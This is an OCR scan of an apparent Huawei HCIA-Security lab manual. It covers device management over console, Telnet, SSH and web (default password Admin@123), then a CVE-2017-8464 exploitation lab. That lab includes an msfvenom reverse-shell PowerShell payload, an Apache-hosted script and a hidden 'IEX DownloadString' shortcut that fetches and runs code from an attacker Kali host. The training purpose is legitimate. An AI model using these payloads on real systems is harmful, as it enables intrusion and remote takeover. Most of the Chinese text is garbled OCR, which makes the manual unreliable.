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1.1 1®3d Console O&F1% % (SecureCRT)

1.1.1 LI N4E
1.1.1.1 R FARXE
EREHT BB T, PCLRIEET Console OZFIEE, AT ENEENRES.
1.1.1.2 KB /Y
BIEALE, E1R PC&uREM SecureCRT 1T 1% % Console OERHBIIZEM T .
1.1.1.3 SKEGLEMI /1 48
B 1-1 j&id Console O EHRIRFHIMNE

HIE PC HRENIRE
Di— ucé‘(,\'fq - Console
———— EN%4%

1.1.1.4 SKIE X
B PCFHBROLMEREIRER Console [, EIE PCiEIT SecureCRT RAFERILF -

&1-1 RBWA KRS

BE %5 o M 283
BIEPC COM 1 PUAR O

I EEBRIRE | Console Consoled
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1.1.1.5 SE3G1ESS

F5 % 1E%3 A
YIIBYEEPCHNIR %, @idconsole
1 YRR AGFXERRSZNFYEER
E o

EIAAT LB iR & Console OB

BEERRE.

1.1.2 SEIESHE
1121 0R8R

1.fEF R OLSEREE PCHYLUARM ORI &R console 1.
275518 PC LAY SecureCRT iR B EZESH, ERIRE-

L122BEDER
SR RERVEER, ¥AERELHR, FERIERFSTER.

$IR2 SEEE PCERIREHTERAMIARM O,

HEEHER > BHNEE > REMFTEVL > RESESE > w0
o)
= v A oam o BEEE - BEIEE
ERERER - IBEFITEON
EEEEe Ml EmAE | SSTRWEE | gk 0 i3=sEE | % Windows To Go EFIER
P Internet & REEES
o BEEHEE R EBfEA) EE(V)  EEIH)
wF & FE HEIB EXE
’:ﬁ‘ﬁ'f’l‘ﬁ' v J CWX341684A
SHIATMEL \ =z IDE ATA/ATAPI s)s2
B, SR = WSD FIEIEEEER
SR ( i ==EE
y Ll 2=
- AR
G TEEEEEEIER
™ FTENEAE
=1 ¥TEIL
9 =t

v i@ B0 (COM I LPT)

Intel(R) Active Management Technology - SOL (COM3)

Prolific USB-to-Serial Comm Port (COMS) I

I 3 B PC _Hi5fT SecureCRT i B S5,

R ERIE
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O X
» BB XE N ckm ?

=3

Show dialog on startup [ ]openinatab

WML Gy Serial”, RA"T—H"

Mew Session Wizard »

This wizard will help you create a new session for connecting to a
remote server.

What type of connection do you want to establish?

Protocal: || Serial o

[ Do not use this wizard when creating sessions

F—2E(N) = SEhk Blis

EEm O, WwOALTE_ERZINLUANG A, ERSERRUEREE.

AN
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X
A — 1 STEEAn SRR
DTR/DSR

EEEE) 9600 ML

CIRTS/CTS
B (A): Mone v
LGS 1 v

= E—F(B) || F—2E(N) = 0

1.1.3 Z55RIGIF
B TE%GE, 7 SecureCRT I TNER, HATE console OB RIRE MK
& Serial - SecureCRT

File Edit View Options Transfer Script Tools Help
ADNI0 anBE3 I%Y 0 @

| Serial

Login authentication

Username:
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1.2 K HS1T (SecureCRT)

"

1.2.1 SEER A48
1.2.1.1 R FASEIE
EREHEET, PCARIEN Console ABRIEE, AMMEEHTHSITHERRIE
1.2.1.2 K HEY
BEASY, BERGOTHELRME,
1.2.1.3 SLIGHMN 4B
B1-2 &S Console AERIFFHAIE

B8 PC B BREMNIRE
D- AK O Console [ ®
COM 1
—=
— BOL&4%

1.2.1.4 23wt
B PC AR OZLEIERE L ER Console O, B PC BT SecureCRT B ERIEHE -

#x1-2 ]&m A XS

®E A Wi
EIE PC COM 1 PAARI O
I ERERIRE | Console Console [0
1.2.1.5 KEESH
Fs =% 1E55 A
1 YIRERE YIREEPCAIR & o
ERIAFLABIT 1% & Console O H
2 BEREE BERIEE. EREEERER
TIREHGDL .
BEENHSERERIEEMN
3 REBEEELDS | B BYHIHNFER. TERE
= E M BMRFIRES
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ERENA

122 EWMESEE
1.2.2.1 g & B

1.183d Console O&ERIRHE;

2 IR FFHITEAR BTSN ATE.
1.222 BB PIF

S 1 &3 Console AZRIEH.

FR2 HARGUE.

AGERaSTEAMDAEFT I IaSNE, RENMEaSEHEMERD (FFL) fﬁ’v‘\ﬂ
T, RAEHEENNAETAREHITIZRE TH®S. ShXE L_LJE&EHL&)\FHPDLI
TREBRGITREHNAITEENERIGE. BoeSTEERAUETHITRE, Fﬁuﬁ&%z

AHRELAHARMEFARZRSZUNE, FSUWT:
<R1> system-view
[R1]

FE3 FEABOME.

HERGUET, ATUBATEBNEESSHAMRMNN. EOS0E. UHEAZOOER

B, aSUT:
[R1] interface GigabitEthernet 1/0/1
[R1-GigabitEthernetl/0/1]

T4 ELEE.

27 AVRPESGRUMNELTE Mz — ERAMUETEERALS, RABIHERRN

ATAMRENGOSH, REASHERASE, REBRARS, EURELS

HUEAA

EANSHSIR, NRERA—FHE, HREEERADS, WARKIEHIZFRF R

FrEa<. Wt

[R1] interface ?
Dialer Dialer interface
Eth-Trunk Ethernet-Trunk interface

GigabitEthernet GigabitEthernet interface

LoopBack LoopBack interface
NULL NULL interface
Tunnel Tunnel interface

Virtual-Template Virtual-Template interface
Virtual-if Virtual interface

Vlanif Vlan interface

Tab g2 VRP LEREM ALYz — WABTHENXEFHI/LNFE, L T<TAB>

#, TUBRETENXEY, BTS2 FENRESS.
[R1] inter //ET “tab”

[R1] interface
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£ 5 BEAE.
HEMRTAE, FEERE EROERN, ATRER “quit” <, PURHEDHREAH:

[R1-GigabitEthernetl1/0/1] quit
[R1]

L6 EEHEPAUE.
YEEMEMBMERZIEPOER, ATLAER “return” <, 0:

[R1-GigabitEthernetl/0/1] return
<R1>

LB 7 EEIREIRA.
AAEEEME TERIRERA, @<k “display version”, 20:

<R1> display version

Huawei Versatile Routing Platform Software

VRP (R) software, Version 5.110 (eNSP V100R001CO00)
Copyright (c) 2000-2011 HUAWEI TECH CO., LTD

TS RERE.
RERESHERE, F£H “‘save” <, BEAHPUETHITZSS:

<R1> save

E

The current configuration will be written to the device.
Are you sure to continue?[Y/N]
Apr 8 2018 14:09:14-08:00 R1 DS/4/DATASYNC CFGCHANGE:0ID 1.3.6.1.4.1.2011.5.25.

191.3.1 configurations have been changed. The current change number is 1, the
ch

ange loop count is 0, and the maximum number of records is 4095.y

Info: Please input the file name ( *.cfg, *.zip ) [vrpcfg.zip]:

Apr 8 2018 14:09:16-08:00 R1 %%01CFM/4/SAVE (1) [0]:The user chose Y when decidin
g whether to save the configuration to the device.

Now saving the current configuration to the slot 17.

Save the configuration successfully.
F]RI EEME.
EELUMUETHRE, AHRTE TER®<S “display this”, DUEOEHE):

[R1-GigabitEthernet0/0/1] display this
#

interface GigabitEthernet0/0/0
description to FW

ip address 10.1.1.1 255.255.255.0

#

return

EELRIMARE, SFEIIIRRREFNES, TUEEERERITZSS, EAGSUWT:

[R1] display current-configuration
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HUAWEI
BEYHSRENESE, TUEERRERTZS S, FRGISUT:
[R1] display saved-configuration
1.3 @iT Telnet BFiE &
1.3.1 LR/ 4R
1.3.1.1 X FAXLE
BEERE LR BINEERINGE, FREEERAKBET telnet FXERENEE LHITEE,

1.3.1.2 LI HRY
B ASTE, ERIEEIRS telnet THRER 7%,
1.3.1.3 SEEGZAM T 48
B 1-3 & telnet T XERIREHIE

&1 PC ®RE&

D- AR A GE1/0/1 :

1.3.1.4 SEIG ALK

EIE PC @B MW &EZIR SR GE1/0/1 O (LA GE1/0/1 O A%)), &3 PCi@id SecureCRT

RHILEERIRE

#x1-3 R&wm A XS HixH A

e O - mE i) Hut
&I PC MAMED | AAMO 10.1.2.100/24

I ERBHIEE | GE1/0/1 AR A 10.1.2.1/24
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1.3.1.5 SLIEESS
Fs 1% 1E&5A
1 YIIEEE YR EZPCAIR & .
ERIATT LABIT 1R & Console O
2 BERIRE BEEERIRE. AEBLRER
£telnetIhiE.
18 Z BN HtelnetThEE, A
R 18 S telnet }xaa j(l}\TS'Z?-:b X f1BE /lf
3 ThiE I BtelnetIhge, MUK HTIZ
l:' | hJ / 3 37 Vavaz
EERREBENKSBHE.
B EZEERE LHNPGRREE
4 WiKtelnetThag | Rk, MiktelnetIhge 2 EREE
BRI,

1.3.2 SLI{EHRELE
1.3.2.1 B & B %
VEREMSRERINEE L (
2.7E1RE LA & telnet ThiE.
3. 7E T PC_EZR.

70 console &) .

1.322FEHR - CLI
ST BIHMTRBERINEE E (40 console BR, BHITASREE
BRIEE) .

P2 wiRE LFFRE telnet ThEE.

<R1> system-view

[R1] telnet server enable

$]3 BEEREA.
BREBZEOMN IPHIATFESR.

[R1] interface GigabitEther

[R1-GigabitEthernetl1/0/1] i

net 1/0/1
p address 10.1.2.1 24

EEONIEEFIIgE. (AE, PSS ORELDSE)

[USG-GigabitEthernet1l/0/1]
[USG-GigabitEthernet1l/0/1]
[USG-GigabitEthernet1l/0/1]

REEOMAZE2XE. (i,
[USG]

[USG-zone-trust]
[USG-zone-trust]

firewall zone trust
add interf
quit

service-manage enable
service-manage telnet permit

quit

B kI S AR EL D E)

ace GigabitEthernetl/0/1

S,

1.1 383F Console O
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CE: FERAFG A3 MGMT OBTIREER, WAFERELE=)
igﬂz 4 Ha%ﬁEEJ\'L:u_’\O
foE VTY EEGRIAER A AAA,

[R1] user-interface vty 0 4
[Rl-ui-vty0-4
[R1-ui-vty0-4
[R1-ui-vty0-4
[R1-ui-vty0-4

] authentication-mode aaa
] protocol inbound telnet
] user privilege level 3

] quit

fi & telnet EE A,

[R1] aaa

[Rl-aaa] manager-user telnetuser

[Rl-aaa-manager-use-telnetuser] password cipher (Enter Password)

[Rl-aaa-manager-use-telnetuser] service-type telnet

[Rl-aaa-manager-use-telnetuser] level 3
]

[Rl-aaa-manager-use-telnetuser
NEBABERE (FE, (X7 EXR)

[FW-aaa] bind manager-user telnetuser role system-admin

F]5 BRRE.

quit

FEE PC FEEHHEAN 10.1.2.100/24, i={T SecureCRT, EF% % telnet %%, FIRFZ
FERTE, SEWMIGERE “tenet”, K& “T—&".
Mew Session Wizard e

This wizard will help you create a new session for connecting to a
remote server.

What type of connection do you want to establish?

Protocol:| | Telnet w

[1Do not use this wizard when creating sessions

T—(N) = SRk Bk

FNBAIREH telnet FEAMYE, WA SH 23,
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NewSessionWizard

What is the name or IP address of the remote host?

Hostname: 10.1.2.1 —‘

Port: 23

Firewall: Naone g

< E—EB) | PN = Bl

RERERR, #AERE (i) %, /& “T—F7

New Session Wizard

The wizard is now ready to create the new session for you.

What name do you want to use to uniquely identify the new
session?

Session name: |R1

Description

< F—5(B) B
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Connect in Tab

M3 oA b B

a

X o @ 9

Pt

=21 Sessions

-1 A0S
-2 A10
®-0 AZ0
w0 A7
-1 B14
-1 B24

Show dialog on startup

1323 BEEL R

$IE 2 FI3 telnet fR %

®E ‘R > BEER > ®REB”, DL telnet RS

&) .

Huawei

e R = EE 30

L

(DR pmE

33 Shmp
= EMACIOS
WDz
SPERGER
SRR
B
[E=amE

= EER

SR

F]3 BEEREA.

|»

Close

- WEB ({XPFAEE )

FR1 BUIAWEB FRERINEE L (BETES]

»

BEORHEES

HTTPSERE v
HTTPSRES RO

WiehR55-EERRiE 10
WiebBEATIHEERS | 200

Q[=r=ms vigm |

FTPARS BH
EHEE EA

v SSHE'E

| OB

iy EXS

o

i
R

=1-1440=455h
=1-200=

[ H

MEATERNZEARTRE. X% “ME > #0 >GE1/0/17, Qi ‘&R .

1.5 BT EIA WEB T ERR
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*  Huawei : 2 = LA admin 2% 8% #Eh =T

e USG P el ma e

e BONE

prm— i R T gy BOEH | [ aEn s Qs manEn
S SeEEOE BORE BEEN Pt EHAD VAR BR e O ER RS
B =up|
@ e 10GED//GEDMGHT) trust@ defauip 1722 giﬁ:ggg:‘ % &+ & & F @
VRLAN 10GE1/010 - NONE (& publicy - Eﬁi:s Em ] L V2
el 10GE1N st pubiic o HEIEIE I N A
v ] I S, R P
e ER ORI i, 22X 15 EEH IhEE.
##GigabitEthernet &
#EOER *
Bl
ERSHE public w|*
= * W i ERE 07
Pvd  IPvE
EfRea ® BEP DHGP PPPOE
1Pt |1u.1.2.1:24 I —fT—FieF:
FirdgEEA " .1.1.1/266 255 255.0"
SHE".1.1.1124"
ZhiARdE
BikDNSERESE®
ERONSEREE®
£ ORT
HOHFE
MAERE kbps [~ =60-10000000=  TEEHRIAEEE
AR kbps [~ =60-10000000=  TEEHRIAEEE
v| BRI EE HTTP HTTPS Fing
SEH METCONF
SMMP

CGE: MEAPT X MGMT OMTIZRRER, WAFERBELSE=)
T4 REEERER.

®E ‘R > BEER > EER7, BE R

=) . $@§

-1 g
% A T =manx
(LRHER R
E:QSNMF' o & fiies:
R E=EMACES HPE =1 C
¥ IDsEzh audit-admin HIHEER
@’%gﬁiﬁ api-admin
gﬁtzré%mﬁ admin FREER
Bl=smE
eﬂ HER
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Be & telnet F§ P& 7 telnetuser, ZH3H Admin@123, EBGABN ‘REEER", H91E
telnet AR A,

HEEML T X
AN ] & FiAE

RRS-22AE

RRE-22 e WA E
=R sssssnene *(8-64-=2 5

AEHEREEY, BuERE ask TEERRIH:
=P-Fmy =g-Try =[0-G=, ﬁ%?ﬁ {ﬁﬂ;ﬁﬂ': Fa # %0
EETEBEF T LEE AR

BEET RS PEER SR FEEE -

LA [TITTYTYT] *

AE RHEER ~l|*

[EIEEH, #1 L+
- B8

AR Al |Wiah 55H

Console FTF

PI]RS BREE,
&I PC EECE Mt A 10.1.2.100/24, BT SecureCRT, HEFRE telnet 3, BERIRE.
HESWE, SWEMDPEERE “elnet”, Qi “T—F7

New Session Wizard X

This wizard will help you create a new session for connecting to a
remote server.

What type of connection do you want to establish?

Protocol:| | Telnet e

[[]Do not use this wizard when creating sessions
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# ENBARER telnet O tIE, WOSH 23,

NewSessionWizard

What is the name or IP address of the remote host?

Hostname: 10.1.21
Part: ’237 ]
Firewall: None v
= F—5#(B) || T—3(N) = BT

RERERR, #AERE (i) %, /& “T—&7

Mew Session Wfizard

The wizard is now ready to create the new session for wou,
What name do vou want ko use to uniquely identify the new session?

Ses5ian name:

Fu1|

Descripkion:

[ Finish ] [ Cancel
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Connect in Tab O >

HE A & B XEd o 7%

=1+ Sessions
-0 A9
-0 A10
- A20
- A7
w0 B14
-0 B24
- B28

Show dialog on startup

1.3.3 L5 R IGIE
BTEZESR, 4 SecureCRT AE EEMUTEER, HPZEERIREHIN.

File Edit View Options Transfer Script Tools Help

NN unhLEs HFRY @ B

IR |

I |E3

Login authentication

Username:
Username:|j

-

Readsy Telnet T, 10 24 Rews, 80 Cols YT100 CAF HUM 2
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1.4 85T SSH BRig%
14.1 SEIA4E
1.4.1.1 XRTF AL

B EIRE LA E SSH IhRE, (FIEEERAEBETY SSH AR ERINRE LHITERE.
1.4.1.2 SEiGHEY

BE ALY, HIRMEIRE SSH N TT%.
1.4.1.3 SEEGZAM T 4B
E1-4 & SSH FRERIREHRINE

E32 PC &
D- BUAR O GE1/0/1 C
M

1.4.1.4 SEISHEX
EIE PC @MW LEZIR SR GE1/0/1 O (LA GE1/0/1 O A%1), &I PCIi@id SecureCRT

BRHERERIZE.
&®1-4 RFEHOKRSEIA
w’& ¥ I 1 KR it
B PC PARREED | AR O 10.1.2.100/24
T RBEMNIRE | GE1/0N AR O 10.1.2.1/24

1.4.1.5 SLI{ES

Fe 1% {E55RH
1 IR MR EPCRIE & o
SEMBRAEBERIEE, R
2 7E_f> LAz l_:L_
RIE BT & SSHINAERR B -
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WEBERIANR X FrstelnetIfigE, @4
3 fid B 1% & SSHIAE D‘T}TF'steInetlj]Hb, [,/U;iﬁﬁatji
ZERIRENIKS

B EEARE LRPALEE

4 MIIXSSHINRE Rige, MWASSHINgE R ERE
DAY

142 LWESEE

1.4.21 B & R
1 EREMGTXERENEEE (20 console ER) .
2. R & LB SSH Ifigk.
3. PC EERIR.

1422 EHE - CLI

i

Bl @adEmsRERINEE L (W console BEF, BT ESMRIE 1.1 1®3T Console [
BERIER) o

WIE 2 FEiE& EFE ssh Ihak.

<R1> system-view

[R1] stelnet server enable
B3 mBERECD.
feBsEOm Pt EFESR.

[R1] interface GigabitEthernet 1/0/1
[R1-GigabitEthernetl/0/1] ip address 10.1.2.1 24
B ORI OEFIThEE. (AL, PFAELSORTZELTE)
[USG-GigabitEthernetl1/0/1] service-manage enable

[USG-GigabitEthernet1/0/1] service-manage ssh permit
[USG-GigabitEthernetl1l/0/1] quit

REEOMAZEXIE. (L, HABELSOFERTE)
[USG] firewall zone trust

[USG-zone-trust] add interface GigabitEthernetl/0/1
[USG-zone-trust] quit

GE: NfEFRG k3 MGMT OBHTIZIEE R, WATERBLES)
E.,lm 4 EE% IEJ\TIZIII_:\°
& VTY BEAINMERT XA AAA,

[R1] user-interface vty 0 4

[Rl-ui-vty0-4] authentication-mode aaa

[Rl1-ui-vty0-4] protocol inbound ssh
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[Rl1-ui-vty0-4] user privilege level 3
[R1-ui-vty0-4] quit

€17 SSH BEIEGANMKS sshuser, FEEIAUEF A Password, fR% 77 Stelnets

[R1] aaa

[Rl-aaa] manager-user sshuser

[Rl-aaa-manager-use-telnetuser] password cipher (Enter Password)

[Rl-aaa-manager-use-telnetuser] service-type ssh

[Rl-aaa-manager-use-telnetuser] level 3
]

[Rl-aaa-manager-use-telnetuser
AEBRAPERE. (A, AR
[FW-aaa] bind manager-user sshuser role system-admin

BiE SSH F F,

[R1] ssh user sshuser

quit

[R1] ssh user sshuser authentication-type password

[R1] ssh user sshuser service-type stelnet

LIRS AR AHFUART .

[R1] rsa local-key-pair create
The key name will be: R1 Host
The range of public key size is (512 ~ 2048).
NOTES: A key shorter than 1024 bits may cause security risks.
The generation of a key longer than 512 bits may take several minutes.
Input the bits in the modulus[default = 2048]:
Generating keys...
R BB
B Bt
.................................. +H+++++++

TE6 BRIEE.
HFEIE PC RSB 10.1.2.100/24, i=fT SecureCRT, EEE%E SSH &8, BFRIEE.
FESIE, SIEWMNOERE “SSH2”, Ri&F “T—&7.
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Mew Session Wizard e

This wizard will help you create a new session for connecting to a
remote server.

What type of connection do you want to establish?

Protocol: |SSH2 o

[[] Do not use this wizard when creating sessions

FHRAREN SSH FEO i, wASh 22,

New Session Wizard *

What is the name or IP address of the remote host?

The user name can be left blank.

Hostname: 10.1.21 ‘

Firewall: Naone i

Username: ‘ ‘

< E—5(8) | F—ZFN) = g

REQERR, #AERE (i) %, /& “T—&F
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Mew Session Wizard x

The wizard is now ready to create the new session for you.

What name do you want to use to uniquely identify the new
session?

Session name: |R1

Description

< £ B

RTSIEHITERE.
Connect in Tab O >

HE A dEBRE XEéM o @ ?

E-I22) Sessions
-2 A0g
-2 A10
-2 A20
w-(E2 A7
w-(Z B14
-2 B24
w-(E B26

Show dialog on startup

1.4.3 55K 56GE
BTEZESE, % SecureCRT RE LEIMUATEER, HBIZEERIZREZHIN.
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File FEdit View Optionz Tranzfer Script Teoels Help

AIROD BN BBITHY 0 Bp

IR |

s
Login authentication
Username:
Username:|j

~
Readsy Telnet T, 10 24 Rows, 80 Cols VT100 CAF HUM 2

1.5 BEBIN WEB AREFRI®E (NFHAEXH)

1.5.1 SEIG 48
1.5.1.1 = FASLLE

EREFLWRET, PCEHmBIEAEERD MGMT ER1EE, A SLIXREMNEIRMA
Bo

1.5.1.2 L3 BRY
B AL, EiE PC LZimi@id2A WEB R E R kB 77 5%.
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1.5.1.3 SEEGZAM 1T 4B
E1-5 BIERIA WEB 5 RERIRZRHE

&8 PC HIREBHIES
— PAAR O MGMT
D COM 1 GE0/0/0
3
1.5.1.4 SEIG ALK

EIE PCER R AL SERERER Console [, &I PC @iy SecureCRT BRGZEFIE®E -
£1-5 ®RFmOXZ2SHx

wmE O - mE i) IPHfiE
&8 PC COM 1 PAKR A 192.168.0.2/24
I ECERIRE | GEO/0/0 AR O 192.168.0.1/24
1.5.1.5 SLEG1ESS
F5 % 1E%E3 A
VI EEPCAIRZHIMGMTO,
1 YIEBERE PCFIIRBE ML EIE, PCRLAILUE
TEIAWeb T HXEREE.
ERIAT] OB 7 Ak EEMGMT O i3
2 ERIEE il ”
RIS TwebBEREE.
1.5.2 SEIG{ESELE

1.5.2.1 Bt & B
1.4 A S8 W 2 R IR PC 9 RUA D FIIR 520 MGMT $20.
2 BT PC L fF NI BE R8T [B1R Kk 3o
1522 BB LB
S BERIERE, BRERELE, FERIERSETES.
IR 2 PC MKF1 USG GO/0/0 $ O IEHEEM L

$IE 3 BB PCHY IP Holithy 192.168.0.2/24,
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DB, 4 EEEPC LITFNE
BREERT, 1&%H GO/0/0 fy IP Hhlb2 192.168.0.1, FHIFE T HTTP EHE. AT

CEE:

PUEE A P42 admin, 28 Admin@123 E3.)

1.5.3 Z5RIGIE

A P& admin, 2 Admin@123, =i “BF.

Huawet

USG6330

English e [HfEPT

admin

T-#ARIET

HUAWEI

X TR E £ I T

Huawei

HUAWEL

=
B EOREGRHER
LicenselE2
L ii— A 4a
| HEER
Bl REREE
5
B RRiER
(1% LTE 464 FRFIRRS
Bl E TR
% Pl RS
B RESBETOP10
@ HprHrEE SRR
@ FHPTE S SEHTOP10
TR ERNERHER

B Rlsriale: RIS -

2. BARERPIAIER I,

BNy

=

, 18] https://192.168.0.1:8443 (= http://192.168.0.1) .

HEIFAF: admin 425 (R FE RTF

wEKSHE R&EEE
BHENS:  210235051210F000378
BREER: USGE300-0
BT SE 18 481 17 8
R E¥
RAEFE
b E)
Pv6: ES=r
=EHEL: =88
éigi% 2018-04-02 13:53:24 1P:172,21,0,18
dl I T I
i LTE 4G4 ERF ke
S BOEHK: calnjnio
::‘ Memory ‘v;
3 ® Z] AGEHEFIRE:  EFEEERBEFER
:-,' o 100 ’ o T
o ESHE: s

BESE: s
[Eer] HZE: 2n:
R 3

3] MEHE: 59
ELI T
(mE] SEPEN 4

THEEER
) &

GRS R :

s SV

cuppg | P


https://192.168.0.1:8443/

e

HUAWEI HCIA-Security SL65 S F ®I2M

1.6 B WEB AXNEFRiK®E ((XPHAEH)

1.6.1 LI 4R
1.6.1.1 X F AL
PC LRHIEI B A S %5 O WEB B REFIRE, TSI ESNEENRE.
1.6.1.2 SLIEEHAY
WIS AL, EiE PC &im@idEIA WEB 77X E R kBRI 755
1.6.1.3 SLIGLAM /T 48
E1-6 &Y WEB FRERIREIHHE

18 PC B HR &
PR O
D- om ce1/0/1 (EYN
nd T IS
P
Y 2%

1.6.1.4 LR ALK
I8 PC EA RO & 40ERAZ %) Console 1, EIE PCIBIY SecureCRT BRAFFRIRE

#x1-6 R&Em A XS ¥k

8= O - mE i) IPHb 3t
&8 PC COM 1 AR A 10.1.2.100/24
S ERENIRE | GE1/0/1 AR O 10.1.2.1/24

1.6.1.5 SEIG1ESS

Fs 1% 5%
1 Y3 YR EREPCHIR AL S50 o
B ARRIAT S web T3 30
2 MEREWebERINGE | BER, HUFTEFBwebIEEL

KB BwebE RIMK S ZMEE,

BYEEARE LRPCLEER
W&, MiKwebBERINGEREH

3 WiwebE R INAE
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BRI

1.6.2 SLI{FHRELE

1.6.2.1 B & B
1.4 FI A M A R IB PC HUIUA I O ATR R S 320 .
2. FRBIREH) WEB ZRINAE.
3G PC_EHTERNR.

1.6.22 BELEHIR - CLI
SR RERVERER, ¥HERE LR, FERIERFSTER.

TE2 BIHEMBFRERTNZE L (W console, telnet, ssh %, ¥iEiESRIK
1.1,1.21.3) &

)

LR 3 REEBCRBE) Web [R5 88INRE. KRB, FRMTHLTE.
[USG] web-manager security enable
SR BT security 281, 22 https 2. @1 web-manager enable, R fT security 2
¥, 2= http REEHE.
AR AAV Https F Hitp EIREAMEBEN®O, XHRESSEuROAR.

F]R4 REESMEA.
FERE O Pt A B O R B HTheE.

[USG] interface GigabitEthernet 1/0/1
[USG-GigabitEthernetl1l/0/1] ip address 10.1.2.1 24
[USG-GigabitEthernet1/0/1] service-manage enable
[USG-GigabitEthernetl1l/0/1] service-manage https permit
[ ]

USG-GigabitEthernet1/0/1
REEOMAZEXIY.

[USG] firewall zone trust
[USG-zone-trust] add interface GigabitEthernet 1/0/1

quit

[USG-zone-trust] quit
-lJ: o’ -
PR BRBEEARGE.

USG] aaa

USG-aaa] manager-user webuser

USG-aaa-manager-use-webuser] password cipher (Enter Password)
] level 3

USG-aaa-manager-use-webuser] service-type web
]

USG-aaa-manager-use-webuser

[

[

[
[USG-aaa-manager-use-webuser
[

[ quit
[

USG-aaa] bind manager-user webadmin role service-admin

HIE 6 EIE PCHY IP HblEH 10.1.2.100/24,  PC Y50 4 8245515) https: //10.1.2.1,
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1.6.23 BELEZIR - WEB
SR RERVEER, ¥HERELHR, FERIERFSTER.

F2 BUHMHRERINEE L NIAWB FRER, FEESBIK 1.5) .

S

I3 J/E HTTPS BR%.

®E Ry > EER > KRB, ik telnet REEIRAE.

Huawei
] i
: =
% mE BEREES
::HTJ%WEEE e HTTPSARES v
TSNMP HTTPSRRS RO
= EMAGIDS
;lﬂis_;h 105 PehRE AT 10 =1-1440=4354
L,
s WehBFTIHEERE | 200 =1-200=
e TelnetiRE v B
T FTPRRS B
— EREE B
= EEa v| SSHER'R
.tn‘-t:{ =)
ii::%% v HEEORE
BEIEL]
o b

FH4 BEEREA.
REATERNZEARTRE. ©®F “ME > #0O >GE1/0/17, Qi “HiE .

SRIAA: admin {252 fR9F FED AT (S

FrHE B R | EAER v | ERAROE QEY &AERED
<|zptismin BOEK BERE P BEAT VANV B gn 05 L BR W6
[l #0at
@ neEl 10GED/DIO(GEOMGMT) tructd@ detauty lrzaaEn glﬂg Smi pict:z) L LI F @
AN 0GE10/0 - NONE (3 publicy = ELEE & B + ¢ o+ F @
% DNS 0GE101 trustE publicy 10121 s HE * t 3 °

eEEOM P, REXE. JHioEHThEE.
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£k GigabitEthernet

F {mE=t i
Sl
EERHE
TEEE
i s

IPv4
e il
IPHIHE

(L]

ke
B#DNSEREE®
ERDNEEREE®

ZHO%kEH

v BFEihiaEE

REEERER.

nublic w

-

B

* BlP DHCP

Eratanl #Ow

FPPOE

I 10.1.2.1/255.2565.255.0

| AR

khps
khps

L.
=i 2lnet

SMMP

HimAEEA M 11 .255.255.255.0"
" .1.1.1724"%

HERINFE®
HERPHE®

| =60-10000000=
| =B0-10000000=
Fing

METCOMF

®E ‘R > BEER > EER7, BE FE.

HUAMWEL

B EE
CORTHERE
TIENMP
REZEMACES]
-1 DsEEEn
EPRRER
CEHEEEERE
(s

[ eEma

=iin]

D= s |

fii & web FH P&y webuser, 2R Admin@123,

web fRZ5RE,

HRAE mE
audit-admin HiHEER
api-admin

adrnin FAEMER

BEHERAAGH ‘RAEERA", H9k
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EHTREASFTL LESEERE
BERT SR PEmER PEREFEEE -
i ITTITTTITY) *
AE FHEIER -
fEEEH #1 e
- S5
il | Wieh Telnet S5H
Consale FTFP
fHE HIH
1.6.3 L5 R IGUE

PC B3 5 883/510) https://10.1.2.1, E¥ AR F®Z admin, 253 Admin@123, R “BF".
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ZEERBHITREEIHN

2.1 SLINAE
2.1.1 X F AL

2017 £ 6 B 13 H, MBI LHHS A CVE-2017-8464 HIRAA %, B/ Windows &
FEMTRED ANFEZERTERRBNEERE, BETMUBEYTUE. MEXZER
EmLmE, TEEFARRE, ZEXESTE.

ALRFESIZRE, BREGKETRE, ULFIWNARERREMPSE.

212 LG HKY
o THEERBIHITRENEE.
o  ERSEIAEREHITREN G L.
2.1.3 SEIG4A M/ 2B
E2-1 ERRERTRRENE

X CH

Kali FOA
214 KK
Al T XS A A T 25 B BRI TR, A A P RIB T 802 DXGAIE A A VPRI
SN o

BASLRIRIT U T RATR:

%2-1 VLAN 38O KB B 808
W& IPHbHE
Kali 172.21.7.104

Windows7 #m# 172.21.7.107
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22 LW ESECE

221 Bc BB
1.4 B = &Y shell.
2.FF i3 Apache fR%5 .
3.Exploit FFE il
4 4132 Powershell >34,

222LEDHR
FB1 EMKRHE shel
1517 Kali, 4 pEF Powershell {23 shell, 7£ Kali T AN T84S

root@kali:~# msfvenom -p windows/meterpreter/reverse tcp LHOST=172.21.7.104
LPORT=4000 -f psh- reflectlon>/opt/test psl

)\/OPtE% BEREGERRK test.ps1 S

BEEEERKI.
JE 4 L!HLE’] test.ps1 & H Fl/varrwww/html B3R T

B, 2 FE Apache [R5 .
£ Kali TJ—T—F‘ Apache R%.

BEATL_E{E X BR8] http://172.21.25.105/test.ps1, EHZEMI-


http://172.21.25.105/test.ps1

HUAWEI HCIA-Security L3665 FAf %40 T

'€ http://172.21.7104/test.psl - Windows Internet Explorer =080 @
<19 [&] http://172.21.7108/test.psl | &[4 | x || 2 Bing o~

¢ Favorites = 8] 5u

sted Sites v @ | Web Slice Gallery

(@ htip://172.21.7.104/test.ps1 v B v = d= v Pagew Safety~ Tooks~v i@~

function wQ2k32TYBISF { Param (ShKkkmkE870, $qz3Q0Xs) SudLvySmrA9 =

([AppDomain]-CurrentDomain GetAssemblies() | Where-Object { 5_.GlobalAssemblyCache -And §_ Location Split("\")
[-1] Equals('System dll'y }).GetTvpe( Microsoft Win32 UnsafeNativeMethods”) return Su9LySrrA9  GetMethod
('GetProcAddress"). Invoke(Snull, (@ ([System Runtime InteropServices HandleRef)(New-Object

System Runtime InteropServices HandleRef{(New-Object IntPtr). (Su9LySrrA9_ GetMethod

(' GetModuleHandle")) Invoke(Snull, @(ShKbmkEST0)))). $qz3Q0X5s)) } fimction dwRO { Param ( [Parameter(Position =
0. Mandatory = $True)] [Tvpe[]] Sa¥ta. [Parameter(Position = 1)] [Tvpe] SgHcFIsNL4rZ_ = [Void] ) 5qIK9WEBfd =
[AppDomain]-CurrentDomain DefineDynamic A ssembly((New-Object System Reflection AssemblyName
(ReflectedDelegate’)). [System Reflection Emit AssemblyBuilderAccess]-Run) DefineDynamicModule( InMemoryModule',

SIE 3 Exploit FFE M.

£ Kali NHE BB MSF 3R,

root@kali:~# msfconsole

dh++0
B S = e
+HH+

o+ttt

5 ENTER TO s
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LPORT 4000

L7104 4000

HIB 4 13 Powershell STt

R E o iE S . EXNERAMBH A powershell -windowstyle hidden -exec
bypass -c "IEX (New-Object
Net.WebClient).DownloadString('http://172.21.7.104/test.psl");good.ps1"

(=]

o = Create Shortcut

What item would you like to create a shortcut for?

